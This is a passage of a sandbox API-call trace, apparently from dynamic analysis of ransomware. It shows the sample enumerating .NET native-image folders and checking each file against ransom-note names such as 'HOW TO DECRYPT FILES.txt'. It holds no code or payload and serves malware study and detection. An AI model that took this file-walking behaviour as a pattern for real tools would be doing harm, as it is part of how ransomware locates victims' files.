(pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Act#\\*.*") returned="*.*" [0112.884] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Act#\\a53a2767e448aef90b345af1339d4c9a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbca59307, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xbca59307, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xbca59307, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.885] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.885] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.Activities.ni.dll") returned -1 [0112.885] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.Activities.ni.dll") returned -1 [0112.885] lstrcmpiA (lpString1="", lpString2="System.Workflow.Activities.ni.dll") returned -1 [0112.885] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Act#\\a53a2767e448aef90b345af1339d4c9a\\*.*") returned="*.*" [0112.885] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Act#\\a53a2767e448aef90b345af1339d4c9a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Act#\\a53a2767e448aef90b345af1339d4c9a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Act#\\a53a2767e448aef90b345af1339d4c9a\\" [0112.885] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Act#\\a53a2767e448aef90b345af1339d4c9a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Act#\\a53a2767e448aef90b345af1339d4c9a\\") returned="" [0112.886] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.886] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Com#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0a522bd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc0a522bd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc0a522bd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.887] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Com#\\*.*") returned="*.*" [0112.887] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Com#\\20e46d1d15a9eaee80b1d16dafef4017\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc0a522bd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc0a522bd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc0a522bd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.887] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.887] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.ComponentModel.ni.dll") returned -1 [0112.887] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.ComponentModel.ni.dll") returned -1 [0112.887] lstrcmpiA (lpString1="", lpString2="System.Workflow.ComponentModel.ni.dll") returned -1 [0112.887] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Com#\\20e46d1d15a9eaee80b1d16dafef4017\\*.*") returned="*.*" [0112.887] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Com#\\20e46d1d15a9eaee80b1d16dafef4017\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Com#\\20e46d1d15a9eaee80b1d16dafef4017\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Com#\\20e46d1d15a9eaee80b1d16dafef4017\\" [0112.887] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Com#\\20e46d1d15a9eaee80b1d16dafef4017\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Com#\\20e46d1d15a9eaee80b1d16dafef4017\\") returned="" [0112.891] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.891] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Run#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc29dc677, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc29dc677, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc29dc677, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.891] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Run#\\*.*") returned="*.*" [0112.891] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Run#\\462293b97f4b8f084192a7fbae47269f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc29dc677, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc29dc677, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xc29dc677, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.892] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.892] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Workflow.Runtime.ni.dll") returned -1 [0112.892] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Workflow.Runtime.ni.dll") returned -1 [0112.892] lstrcmpiA (lpString1="", lpString2="System.Workflow.Runtime.ni.dll") returned -1 [0112.892] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Run#\\462293b97f4b8f084192a7fbae47269f\\*.*") returned="*.*" [0112.892] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Run#\\462293b97f4b8f084192a7fbae47269f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Run#\\462293b97f4b8f084192a7fbae47269f\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Run#\\462293b97f4b8f084192a7fbae47269f\\" [0112.892] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Run#\\462293b97f4b8f084192a7fbae47269f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Run#\\462293b97f4b8f084192a7fbae47269f\\") returned="" [0112.895] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.896] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.WorkflowServ#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a7a912b, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2a7a912b, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2a7a912b, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.896] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.WorkflowServ#\\*.*") returned="*.*" [0112.896] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.WorkflowServ#\\7f1f91903e297c234f177743d94c318e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2a7a912b, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2a7a912b, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2a7a912b, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.897] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.897] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.WorkflowServices.ni.dll") returned -1 [0112.897] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.WorkflowServices.ni.dll") returned -1 [0112.897] lstrcmpiA (lpString1="", lpString2="System.WorkflowServices.ni.dll") returned -1 [0112.897] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.WorkflowServ#\\7f1f91903e297c234f177743d94c318e\\*.*") returned="*.*" [0112.897] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.WorkflowServ#\\7f1f91903e297c234f177743d94c318e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.WorkflowServ#\\7f1f91903e297c234f177743d94c318e\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.WorkflowServ#\\7f1f91903e297c234f177743d94c318e\\" [0112.897] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.WorkflowServ#\\7f1f91903e297c234f177743d94c318e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.WorkflowServ#\\7f1f91903e297c234f177743d94c318e\\") returned="" [0112.898] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.899] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ba57fdd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ba57fdd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ba57fdd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.899] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\*.*") returned="*.*" [0112.899] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ba57fdd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5ba57fdd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5ba57fdd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.900] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.900] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xml.ni.dll") returned -1 [0112.900] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xml.ni.dll") returned -1 [0112.900] lstrcmpiA (lpString1="", lpString2="System.Xml.ni.dll") returned -1 [0112.900] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\*.*") returned="*.*" [0112.900] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\" [0112.901] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml\\ee795155543768ea67eecddc686a1e9e\\") returned="" [0112.902] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.902] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml.Linq\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7519e8a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb7519e8a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb7519e8a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.903] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml.Linq\\*.*") returned="*.*" [0112.903] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml.Linq\\164d9beb2bf9b6160593f915a2d9aa6d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7519e8a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb7519e8a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb7519e8a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.903] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.903] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xml.Linq.ni.dll") returned -1 [0112.903] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xml.Linq.ni.dll") returned -1 [0112.903] lstrcmpiA (lpString1="", lpString2="System.Xml.Linq.ni.dll") returned -1 [0112.903] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml.Linq\\164d9beb2bf9b6160593f915a2d9aa6d\\*.*") returned="*.*" [0112.903] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml.Linq\\164d9beb2bf9b6160593f915a2d9aa6d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml.Linq\\164d9beb2bf9b6160593f915a2d9aa6d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml.Linq\\164d9beb2bf9b6160593f915a2d9aa6d\\" [0112.904] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml.Linq\\164d9beb2bf9b6160593f915a2d9aa6d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Xml.Linq\\164d9beb2bf9b6160593f915a2d9aa6d\\") returned="" [0112.905] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.905] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\TaskScheduler\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf3ef362, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdf3ef362, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdf3ef362, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.906] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\TaskScheduler\\*.*") returned="*.*" [0112.906] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\TaskScheduler\\a3883e7fc1bd0fbc54761b26c2bc5483\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf3ef362, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdf3ef362, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdf3ef362, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.907] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.907] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TaskScheduler.ni.dll") returned -1 [0112.907] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TaskScheduler.ni.dll") returned -1 [0112.907] lstrcmpiA (lpString1="", lpString2="TaskScheduler.ni.dll") returned -1 [0112.907] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\TaskScheduler\\a3883e7fc1bd0fbc54761b26c2bc5483\\*.*") returned="*.*" [0112.907] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\TaskScheduler\\a3883e7fc1bd0fbc54761b26c2bc5483\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\TaskScheduler\\a3883e7fc1bd0fbc54761b26c2bc5483\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\TaskScheduler\\a3883e7fc1bd0fbc54761b26c2bc5483\\" [0112.907] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\TaskScheduler\\a3883e7fc1bd0fbc54761b26c2bc5483\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\TaskScheduler\\a3883e7fc1bd0fbc54761b26c2bc5483\\") returned="" [0112.909] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.909] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Temp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3118c295, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x73e3b540, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x73e3b540, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.910] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Temp\\*.*") returned="*.*" [0112.910] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Temp\\ZAP6B8E.tmp\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b72991, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x93b72991, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x93b72991, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.910] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Temp\\*.*") returned="*.*" [0112.910] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Temp\\ZAPE291.tmp\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3118c295, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3118c295, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3118c295, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.911] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Temp\\*.*") returned="*.*" [0112.911] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Temp\\ZAPE56E.tmp\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1be8607c, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x1be8607c, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1be8607c, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.913] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.913] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClient\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf90a1c9a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf90a1c9a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf90a1c9a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x41005a, dwReserved1=0x450050, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.913] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClient\\*.*") returned="*.*" [0112.913] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClient\\60fa801c6b0c236ddeb6e93364ec5705\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf90a1c9a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf90a1c9a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf90a1c9a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.914] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.914] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationClient.ni.dll") returned -1 [0112.914] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationClient.ni.dll") returned -1 [0112.914] lstrcmpiA (lpString1="", lpString2="UIAutomationClient.ni.dll") returned -1 [0112.914] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClient\\60fa801c6b0c236ddeb6e93364ec5705\\*.*") returned="*.*" [0112.914] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClient\\60fa801c6b0c236ddeb6e93364ec5705\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClient\\60fa801c6b0c236ddeb6e93364ec5705\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClient\\60fa801c6b0c236ddeb6e93364ec5705\\" [0112.914] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClient\\60fa801c6b0c236ddeb6e93364ec5705\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClient\\60fa801c6b0c236ddeb6e93364ec5705\\") returned="" [0112.916] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.916] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClients#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b76e308, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2b76e308, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2b76e308, 